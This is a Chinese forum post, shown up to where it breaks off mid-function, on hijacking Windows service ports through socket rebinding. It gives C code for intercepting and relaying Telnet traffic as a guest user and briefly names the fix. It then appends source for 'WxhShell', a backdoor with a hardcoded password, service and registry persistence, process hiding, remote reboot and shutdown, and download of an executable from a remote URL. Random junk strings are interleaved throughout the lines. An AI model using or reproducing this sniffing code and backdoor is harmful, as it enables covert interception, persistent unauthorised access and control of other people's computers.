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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `DEz ` D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gPDc6{/C<  
_m;Y'  
  saddr.sin_family = AF_INET;  M*%iMz  
63ht|$G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RsY|V|<  
`?~pk)<C].  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9HWtdJ+^C=  
'DVPx%p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~~>D=~B0'  
!)ee{CwNc  
  这意味着什么?意味着可以进行如下的攻击: PE3l2kr  
Zpg$:Rr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )bqO}_B  
9^ )=N=wV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #p0vrQ;5f  
I:[3x2H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o4tQ9X=}  
eqYa`h@g^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |[C3_'X  
IEHAPt'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z0a=A:+/  
F $B _;G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =! /S |  
Ow<=K:^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h%pgdix  
$:SHZe  
  #include _bu, 1EM  
  #include s-Bpd#G>/  
  #include DjtUX>e  
  #include    1Qv5m^>vj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &Zd! |u  
  int main() h8Kri}z;M  
  { gTm[<Y  
  WORD wVersionRequested; a3JG&6-  
  DWORD ret; !\2Xr{f  
  WSADATA wsaData; tyNT1F{  
  BOOL val; 7@5}WNr  
  SOCKADDR_IN saddr; 9tWu>keu  
  SOCKADDR_IN scaddr;  GVe[)R  
  int err; BG/M3  
  SOCKET s; y?;&(Tcbt8  
  SOCKET sc; eA4@)6WP(  
  int caddsize; f8!*4Bw  
  HANDLE mt; b<NI6z8\  
  DWORD tid;   t*~V]wZ  
  wVersionRequested = MAKEWORD( 2, 2 ); Fep#Pw1  
  err = WSAStartup( wVersionRequested, &wsaData ); YqrieDFay!  
  if ( err != 0 ) { Az{Z=:(0  
  printf("error!WSAStartup failed!\n"); l>Z"y\l =  
  return -1; G)G5eXXX  
  } UOi8>;k`  
  saddr.sin_family = AF_INET; LDx1@a|83  
   +.:- :  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ):31!IC  
#zyEN+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I 4 ,C-D  
  saddr.sin_port = htons(23); L slI!.(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :[?hU}9  
  { ?V3e;n  
  printf("error!socket failed!\n"); QJjqtOf>  
  return -1; 3a_~18W  
  } ZG"_M@S.  
  val = TRUE; Z~CL|=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s,)Z8H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) = a$7OV.  
  { *shE-w ;C  
  printf("error!setsockopt failed!\n"); Gk g)\ 3  
  return -1; N*gnwrP{  
  } k|'{$/ n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~*@ UQ9*p#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &;DK^ta*P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $i;%n1VBg  
 v=R=K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _?]bd-E  
  { pqmtN*zV  
  ret=GetLastError(); 3dTz$s/[  
  printf("error!bind failed!\n"); 8m\* ~IX=  
  return -1; fucG 9B  
  } Q30A aG}f  
  listen(s,2); jhOQ)QE|  
  while(1) 5ro^<P0f**  
  { uS`XWn<CSD  
  caddsize = sizeof(scaddr); #(=8 RA:@  
  //接受连接请求 UJ* D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qwM71B!r  
  if(sc!=INVALID_SOCKET) 4}E|CD/pZ  
  { 2+ m%f"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F<39eDNpz  
  if(mt==NULL) -|YG**i/  
  { D,b'1=  
  printf("Thread Creat Failed!\n"); 3copJS  
  break; XEl-5-M"  
  } 3|x*lmit  
  } MH7 n@.t  
  CloseHandle(mt); )7jjfD\  
  } #q#C_"  
  closesocket(s); R OsR;C0!  
  WSACleanup(); H]As2$[  
  return 0; F,5~a_GP?  
  }   3}~.#`QeY  
  DWORD WINAPI ClientThread(LPVOID lpParam) )_BQ@5NK  
  { k+b!Lw!L  
  SOCKET ss = (SOCKET)lpParam; WR,MqM20  
  SOCKET sc; Zawnx=  
  unsigned char buf[4096]; W<| M0S{  
  SOCKADDR_IN saddr; m[n=t5~  
  long num; X?whyD)vE@  
  DWORD val; 2t 7':X  
  DWORD ret; >%LZ|*U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AQ+MjS,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ynY(  
  saddr.sin_family = AF_INET; >J(._K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F#Y9 @E  
  saddr.sin_port = htons(23); )S"!)\4 b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GWd71ZtFO  
  { b?i5C4=K  
  printf("error!socket failed!\n"); 0])D)%B k  
  return -1; j}u b  
  } I(m*%>  
  val = 100; *WMI<w~_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bji5X')~#  
  {  qHVZsZ  
  ret = GetLastError(); ,^wjtA 3j8  
  return -1; Jj%"  
  } FJ-X~^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +;,65j+n   
  { hNU$a?eVpR  
  ret = GetLastError(); D]tI's1  
  return -1; Z:eB9R#2y  
  } |xYr0C[Pq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k4T`{s}e  
  { HE!"3S2S&+  
  printf("error!socket connect failed!\n"); Uzh#z eZ`<  
  closesocket(sc); Z;/QB6|%  
  closesocket(ss); qh9d .Q+n  
  return -1; O1+OE!w  
  } QrBb! .r  
  while(1) L;RHs hTy  
  { gpT~3c;l=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nIZ;N!r=i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -A]-o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hufpky[&8  
  num = recv(ss,buf,4096,0); ICdfak  
  if(num>0) aFw \ w>*^  
  send(sc,buf,num,0); kB[l6`  
  else if(num==0) O, .c gX   
  break; 'Nkd *  
  num = recv(sc,buf,4096,0); _p*a`,tK  
  if(num>0) Dc@OrQu  
  send(ss,buf,num,0); LUaOp "  
  else if(num==0) t]gZ^5  
  break; L`3;9rO  
  } !(gMr1}w  
  closesocket(ss); NJ^Bv`  
  closesocket(sc); _w}l,   
  return 0 ; k%D|17I  
  } gUr #3#  
NI  r"i2  
(zr2b  
========================================================== d HN"pNNs  
"f~*4g  
下边附上一个代码,,WXhSHELL l4bL N  
po9f[/s'+o  
========================================================== -kk0zg &|i  
Talmc|h  
#include "stdafx.h" {k}$L|w  
k'8tqIUN]  
#include <stdio.h> F5y0(=$T  
#include <string.h> O\J{4EB@.  
#include <windows.h> mV'-1  
#include <winsock2.h> Y6 <.]H  
#include <winsvc.h> j DkBe-`  
#include <urlmon.h> -xXdT$Xd  
G)IK5zCDd  
#pragma comment (lib, "Ws2_32.lib") Ev Ye1Y-  
#pragma comment (lib, "urlmon.lib") CL3b+r  
%ZsdCQc{`  
#define MAX_USER   100 // 最大客户端连接数 HT:V;?"  
#define BUF_SOCK   200 // sock buffer ^>/~MCyM.  
#define KEY_BUFF   255 // 输入 buffer XjXz#0nR  
`O0bba=:=  
#define REBOOT     0   // 重启 SPT?Tt  
#define SHUTDOWN   1   // 关机 ??#SQSU  
V_3K((P6  
#define DEF_PORT   5000 // 监听端口 'pnOHT  
!tzk7D  
#define REG_LEN     16   // 注册表键长度 dL]wu! wE  
#define SVC_LEN     80   // NT服务名长度 CzDV^Iv;Q{  
8kLHQ0pmu  
// 从dll定义API 7#&e0fw/I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8S` j6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;w7s>(ITZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h_HPmh5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _vJ(F  
4L bll%[9  
// wxhshell配置信息 XL7||9,(h  
struct WSCFG { :85QwN]\  
  int ws_port;         // 监听端口 8 =oUE$9  
  char ws_passstr[REG_LEN]; // 口令 0qq>(K[  
  int ws_autoins;       // 安装标记, 1=yes 0=no qizQt]l  
  char ws_regname[REG_LEN]; // 注册表键名 Mt4*`CxtH;  
  char ws_svcname[REG_LEN]; // 服务名 k:F{U^!p|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s<+;5, Q|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =O/v]B8"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "m%EFWUOl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UHgW-N"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pcjrv:0$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7,s5Gd-  
X[!S7[d-y  
}; sd9b9?qiu  
I!#WXK  
// default Wxhshell configuration 8VtRRtl  
struct WSCFG wscfg={DEF_PORT, Cg(&WJw(ep  
    "xuhuanlingzhe", sd%m{P2  
    1, IczMf%  
    "Wxhshell", xO^lE@a o  
    "Wxhshell", &5[B\yv  
            "WxhShell Service", _T_6Yl&cf)  
    "Wrsky Windows CmdShell Service", AJ3%Z$JJ;s  
    "Please Input Your Password: ", 6zi 5#23  
  1, (tyky&$!  
  "http://www.wrsky.com/wxhshell.exe", w^9< I]  
  "Wxhshell.exe" E{P94Phv  
    }; OdpHF~(Y/  
7p- RPC  
// 消息定义模块 -'F27])  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xI_0`@do  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .D;6 r4S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8aJJ??o{  
char *msg_ws_ext="\n\rExit."; $h}5cl  
char *msg_ws_end="\n\rQuit."; CZE!@1"<{  
char *msg_ws_boot="\n\rReboot..."; on;>iKta9  
char *msg_ws_poff="\n\rShutdown..."; g^}C/~b[  
char *msg_ws_down="\n\rSave to "; W] WH4.y  
+eO>> ~Z  
char *msg_ws_err="\n\rErr!"; "Zy:q'`o  
char *msg_ws_ok="\n\rOK!"; jK".iqx2L  
zwU1(?]I{  
char ExeFile[MAX_PATH]; t,n2N13  
int nUser = 0; +/bD9x1H  
HANDLE handles[MAX_USER]; s(?%A  
int OsIsNt; dBwoAq`'  
+v~x_E5FP  
SERVICE_STATUS       serviceStatus; bU[_YuJbM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d}%-vm} 0  
~MP |L?my  
// 函数声明 ;%Px~g  
int Install(void); ~%2yDhdQ  
int Uninstall(void); + MD84YR  
int DownloadFile(char *sURL, SOCKET wsh); 'N^*,  
int Boot(int flag); 7n?yf_ je  
void HideProc(void); :+ mULUi  
int GetOsVer(void); XjdHH.) S  
int Wxhshell(SOCKET wsl); G[*z,2Kb>  
void TalkWithClient(void *cs); 7l ,f  
int CmdShell(SOCKET sock); f[ 2PAz  
int StartFromService(void); )dFPfu&HL  
int StartWxhshell(LPSTR lpCmdLine); %|%eGidu  
0@[*~H0{n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fC 3T\@(&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =av0a !  
Dw.I<fns^B  
// 数据结构和表定义 as'yYn8  
SERVICE_TABLE_ENTRY DispatchTable[] = `*elzW  
{ ak-agH  
{wscfg.ws_svcname, NTServiceMain}, 1Q!kk5jE  
{NULL, NULL} rB{w4  
}; cly}[<w!  
7#W]Qj  
// 自我安装 MV??S{^4  
int Install(void) ~o/k?l  
{ SQhVdYU1'  
  char svExeFile[MAX_PATH]; Faa>bc~E  
  HKEY key; {6WG  
  strcpy(svExeFile,ExeFile); Zk/ejhy0  
s7HKgj  
// 如果是win9x系统,修改注册表设为自启动 ^{{a v?h  
if(!OsIsNt) { q)f_!N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E .28G2&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mj&OZ+  
  RegCloseKey(key); 6VC|] |*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w@&z0ODJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I`*5z;Q!%@  
  RegCloseKey(key); S0Io$\ha  
  return 0; wP*3Hx;S  
    } o&&`_"18  
  } ^EKRbPA9:<  
} qH5nw}]  
else { Jfk#E^1  
.d r Y  
// 如果是NT以上系统,安装为系统服务 FZO&r60$E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iCA-X\E  
if (schSCManager!=0) lVQE}gd%m  
{ (9oo8&GG  
  SC_HANDLE schService = CreateService ^N[ Cip}8  
  ( LT Pr8^  
  schSCManager, $,J}w%A  
  wscfg.ws_svcname, ,(a~vqNQW3  
  wscfg.ws_svcdisp, |(ab0b #  
  SERVICE_ALL_ACCESS, >{q+MWK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oe.Jm#?2.  
  SERVICE_AUTO_START, AT+ l%%   
  SERVICE_ERROR_NORMAL, "?F[]8F.b  
  svExeFile, V8):!  
  NULL, uS,?oS  
  NULL,  Igmg&  
  NULL, <8;~4"'a  
  NULL, 38T] qz[Sn  
  NULL 1/m$#sz  
  ); )DhE~  
  if (schService!=0) iN. GC^l  
  { 5I,NvHD4  
  CloseServiceHandle(schService); E0Q6Ryn  
  CloseServiceHandle(schSCManager); auc:|?H~1n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ['Lo8 [  
  strcat(svExeFile,wscfg.ws_svcname); Pj]^ p{>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (3mL!1\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p<(a);<L  
  RegCloseKey(key); zn 0y`9!n?  
  return 0; <Vk}U   
    } @IsUY(Gu  
  } = g &  
  CloseServiceHandle(schSCManager); t6\H  
} %hN>o)  
} km C0.\  
g%"SAeG<K  
return 1; 6WQN !H8+^  
} z[1uub,)1  
?g{[U0)  
// 自我卸载 zN!yOlp5  
int Uninstall(void) rP'%f 6  
{ HZ%V>88  
  HKEY key; wkGr}  
u&1M(~Ub=  
if(!OsIsNt) { i8k} B o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ']eN4H&=?}  
  RegDeleteValue(key,wscfg.ws_regname); 2F`#df  
  RegCloseKey(key); yQUrHxm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d@g29rs  
  RegDeleteValue(key,wscfg.ws_regname); +B " aUF  
  RegCloseKey(key); Be]z @E1x  
  return 0; [n| }>  
  } oNe:<YT  
} iB(?}SaAZ  
} m!G(vhA,_w  
else { lAM)X&}0  
e-P{)L<s5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H[p~1%Lq  
if (schSCManager!=0) VD7-;  
{ esA^-$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |(*btdqy3  
  if (schService!=0) I+;e#v,%U  
  { (E@;~7L  
  if(DeleteService(schService)!=0) { "lu^  
  CloseServiceHandle(schService); Bo8f52|  
  CloseServiceHandle(schSCManager); Z(tJd ,  
  return 0; 0.wF2!V.  
  } D((/fT)eD  
  CloseServiceHandle(schService); 6Aqv*<1=62  
  } 0ZDm[#7z  
  CloseServiceHandle(schSCManager); 0J'Cx&Rg  
} Xe\}(O  
} $peL1'Evo  
XrTc5V  
return 1; h ChO  
} ]}].A q  
jZqa+nG51  
// 从指定url下载文件 [dP<A ?s  
int DownloadFile(char *sURL, SOCKET wsh) ]Xnar:5  
{  2=;ZJ  
  HRESULT hr; hfLe<,  
char seps[]= "/"; sj&(O@~R  
char *token; r+[g.`  
char *file; K/C}  
char myURL[MAX_PATH]; okRt^qe  
char myFILE[MAX_PATH]; D9NRM;v  
 +qj Z;5(  
strcpy(myURL,sURL); *!"T^4DEg  
  token=strtok(myURL,seps); > `eo0  
  while(token!=NULL) faLfdUimJ  
  { Q+K]:c  
    file=token; uc!6?+0h  
  token=strtok(NULL,seps); ,B/TqPP  
  } ~h8k4eM  
,Aq, f$5V  
GetCurrentDirectory(MAX_PATH,myFILE); c/bT5TIEWs  
strcat(myFILE, "\\"); C$])q`9  
strcat(myFILE, file); (AZneK :*  
  send(wsh,myFILE,strlen(myFILE),0); ?:60lCqj  
send(wsh,"...",3,0); 2BOH8Mp9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gsQn@(;  
  if(hr==S_OK) [7DU0Xg7  
return 0; gM1:*YK  
else ~oSA&v4V  
return 1; e[T3,2C  
teDRX13=;  
} b}7g>  
~P,Z@|c4  
// 系统电源模块 n~`jUML2d  
int Boot(int flag) oSMIWwg7G  
{ F'{T[MA  
  HANDLE hToken; #oEtLb@O  
  TOKEN_PRIVILEGES tkp; b4$.uLY  
!?i9fYu  
  if(OsIsNt) { 2xuU[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y(rQ032s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 79)iv+nf\l  
    tkp.PrivilegeCount = 1; %`G}/"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mL}Wan  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Iu~(SKr=|$  
if(flag==REBOOT) { u_ :gqvC=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9} C(M?d  
  return 0; L)|hjpQ  
} FN sSJU3ld  
else { U/U_q-z]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) olo9YrHn  
  return 0; /8_x]Es/  
} p |;#frj  
  } E?K(MT&@  
  else { U .^%7.  
if(flag==REBOOT) { Q"pZPpl&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -y&>&D  
  return 0; u^ wG Vg  
} 4yxf/X)  
else { !&KE">3Qu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 65 &+Fv  
  return 0; }VH` \g}  
} = "Lb5!  
} Jn?ZJZ  
P6^\*xkMr  
return 1; ='eQh\T)  
} wjID*s[  
9WoTo ,q  
// win9x进程隐藏模块 J{uqbrJICr  
void HideProc(void) "el3mloR 8  
{ %kBrxf  
 +@Kq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jw2hB[WR  
  if ( hKernel != NULL ) S|RUc}(  
  { Jn0L_@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _3KfY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IU}g[O Cu  
    FreeLibrary(hKernel); ]tK<[8Y  
  } gavf$be  
V,tYqhQ3  
return; :VRQd}$Pi  
} Q;2k bVWY  
J0@#xw=+  
// 获取操作系统版本 ,tFLx#e#  
int GetOsVer(void) GV)DLHiyxX  
{ N':d T  
  OSVERSIONINFO winfo; c&L|e$C]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >?X(, c  
  GetVersionEx(&winfo); F JxH{N6a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .ddf'$6h  
  return 1; [QT H~  
  else UUgc>   
  return 0; ;2eZa|M*q  
} `@ Ont+  
ss7Z-A4z  
// 客户端句柄模块 ~m7?:(/lb  
int Wxhshell(SOCKET wsl) Qo["K}Ty  
{ a,*|*Cv  
  SOCKET wsh; 3 _DJ  
  struct sockaddr_in client; y=y#*yn&  
  DWORD myID; kvt"7;(  
(TGG?V  
  while(nUser<MAX_USER) [*=UH* :'N  
{ h4M>k{  
  int nSize=sizeof(client); 0 s%{m<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2 mvp|< "  
  if(wsh==INVALID_SOCKET) return 1; }cy<$=c#E_  
_3Q8R}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A}03s6^i;  
if(handles[nUser]==0) `~W?a  
  closesocket(wsh); &>auW}r  
else 4L6'4t"s  
  nUser++; 0_map z  
  } H 4W4# \M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n<7R6)j6  
QW@`4W0F  
  return 0; G?yG|5.pU  
} 1FEY&rpR  
s\1c.  
// 关闭 socket N^tH&\G\m  
void CloseIt(SOCKET wsh) a: OuDjFp  
{ h IUO=f  
closesocket(wsh); [E%Ov0OC  
nUser--; z 4`H<Pn  
ExitThread(0); e#uF?v]O  
} |S VL%agZ  
RT=(vq @  
// 客户端请求句柄 L/J)OJe\  
void TalkWithClient(void *cs) D~<0CQ3n.  
{ }%eXGdC  
w w{07g  
  SOCKET wsh=(SOCKET)cs; L{i|OK^e  
  char pwd[SVC_LEN]; Rlf#)4  
  char cmd[KEY_BUFF]; *[['X%f  
char chr[1]; \>XkK<ye  
int i,j; baM@HpMhM  
/3v`2=b  
  while (nUser < MAX_USER) { L[:b\ O/p,  
3/((7O[  
if(wscfg.ws_passstr) { < G:G/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ob.=QQQs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w!^{Q'/,Q  
  //ZeroMemory(pwd,KEY_BUFF); PP)-g0^@  
      i=0; W[tX%B  
  while(i<SVC_LEN) { 5PCKBevV  
+q3E>K9a  
  // 设置超时 Wd_KZ}lX  
  fd_set FdRead; lAPvphO  
  struct timeval TimeOut; L9)nRV8  
  FD_ZERO(&FdRead); "*aL(R  
  FD_SET(wsh,&FdRead); dD8f`*"*=  
  TimeOut.tv_sec=8; HBnnIbEtF'  
  TimeOut.tv_usec=0; )[hQK_e]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .q7o7J%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4ky@rcD1  
R k).D 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9AdA|/WV  
  pwd=chr[0]; g>O O '}lF  
  if(chr[0]==0xd || chr[0]==0xa) { o}K!p %5_  
  pwd=0; S+(-k0  
  break; Od:, r  
  } RZ&T\;m,7  
  i++; v81H!c.*  
    } n$T'gX#5  
<U() *0  
  // 如果是非法用户,关闭 socket nZ2mY!*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kMLWF  
} \.<V~d?  
564)ha/^(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RK`C31Ws  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mxV0"$'Fm  
KoNJ;YiKtN  
while(1) { -NyfW+T={  
*^&2L,w  
  ZeroMemory(cmd,KEY_BUFF); +8 AGs,  
9n${M:F  
      // 自动支持客户端 telnet标准   sh%snLw  
  j=0; kW@,P.88  
  while(j<KEY_BUFF) { qEoa%O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #A2)]XvY  
  cmd[j]=chr[0]; jQiK of>  
  if(chr[0]==0xa || chr[0]==0xd) { do1aH$Iw  
  cmd[j]=0; 2= 6}! Y  
  break; IA XoEBlMs  
  } 80M"`6  
  j++; 6U`yf&D  
    } 2%Y]M%P  
KGsH3{r  
  // 下载文件 5 5_#?vw  
  if(strstr(cmd,"http://")) { }t[?g)"M#-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y&Sk/8  
  if(DownloadFile(cmd,wsh)) Z'vGX,:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Je#vl4<L  
  else X^U)j N2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j[fVF3v  
  } QM }TPE  
  else { Ol~j q;75  
jCMr[ G=  
    switch(cmd[0]) { AVys`{*c  
  $i+ 1a0%n  
  // 帮助 ni@N/Z?!pA  
  case '?': { }0P5~]S<5A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i<*{Z~B  
    break; xmEmdOoD  
  } #q"^6C 5  
  // 安装 KU> $=Rd  
  case 'i': { <"g ^V  
    if(Install()) ;oQ*gd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <d GGH  
    else 1h.N &;vy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L)cy&"L|  
    break; pUs s_3  
    } xi.L?"^/!  
  // 卸载 y-TS?5Dr]  
  case 'r': { L`$MOdF{_  
    if(Uninstall()) ^nYS @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dcgz<m  
    else >+w(%;i;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3t('SE  
    break; 8()L}@y  
    } hDp -,ag{  
  // 显示 wxhshell 所在路径 JwNG`M Gc  
  case 'p': { K>2mm!{  
    char svExeFile[MAX_PATH]; _Kp{b"G  
    strcpy(svExeFile,"\n\r"); Ccw6,2`&  
      strcat(svExeFile,ExeFile); s 9,?"\0Zm  
        send(wsh,svExeFile,strlen(svExeFile),0); @"9^U_Qf1z  
    break; Efm37Kv5l  
    } Q3M;'m  
  // 重启 "0F =txduS  
  case 'b': { }2^_Gaj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OA\2ja~+  
    if(Boot(REBOOT)) <m"yPi3TY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOuI;EF  
    else { >g ]S"ku|  
    closesocket(wsh); aN7VGc  
    ExitThread(0); ZE@!s3\  
    } 30(O]@f~  
    break; 2Rc'1sCth-  
    } xD}ha  
  // 关机 *<yKT$(+_  
  case 'd': { mX)UoiXue  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vu DSjh  
